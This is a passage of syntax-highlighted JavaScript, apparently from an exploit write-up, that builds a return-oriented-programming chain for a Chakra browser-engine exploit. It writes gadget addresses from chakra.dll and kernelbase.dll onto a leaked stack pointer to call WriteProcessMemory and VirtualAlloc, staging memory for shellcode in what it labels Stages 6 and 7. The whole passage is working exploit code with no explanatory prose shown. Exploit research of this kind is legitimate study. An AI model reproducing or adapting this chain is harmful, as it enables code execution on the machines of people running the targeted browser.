<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a000</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where the VirtualAllocEx allocation is stored</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!WriteProcessMemory</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x79a40</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!WriteProcessMemory address </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// WriteProcessMemory() ROP chain (Number 3)</span>
<span class="c1">// Stage 6 -&gt; Update the final ROP chain, currently in the charka.dll .data section, with the address of our shellcode in the pop rdi gadget for our "fake return address"</span>

<span class="c1">// SIZE_T nSize (R9)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000008</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T nSize (0x8)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hProcess (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0xffffffff</span><span class="p">,</span> <span class="mh">0xffffffff</span><span class="p">);</span>             <span class="c1">// Current process</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPVOID lpBaseAddress (RDX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">ropoffsetTwo</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span> <span class="c1">// .data section of chakra.dll where our final ROP chain is</span>
<span class="nx">next</span><span class="p">();</span>                                                                       

<span class="c1">// LPCVOID lpBuffer (R8) (Our kernelbase.dll .data section address which points to the value we want to write, the allocation of the VirtualAllocEx allocation)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x180576231: pop r8 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x21a000</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// .data section of kernelbase.dll where the VirtualAllocEx allocation is stored</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!WriteProcessMemory</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x79a40</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!WriteProcessMemory address </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)         </span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// VirtualAlloc() ROP chain</span>
<span class="c1">// Stage 7 -&gt; Allocate some local memory to store the CONTEXT structure from GetThreadContext</span>

<span class="c1">// DWORD flProtect (R9)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000004</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// PAGE_READWRITE (0x4)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPVOID lpAddress (RCX)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// NULL (let VirtualAlloc() decide the address)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// SIZE_T dwSize (RDX) (0x4d0 = sizeof(CONTEXT))</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x000004d0</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// (0x4d0 bytes)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// DWORD flAllocationType (R8) ( MEM_RESERVE | MEM_COMMIT = 0x3000)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180576231: pop r8 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00003000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// MEM_RESERVE | MEM_COMMIT (0x3000)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!VirtualAlloc</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
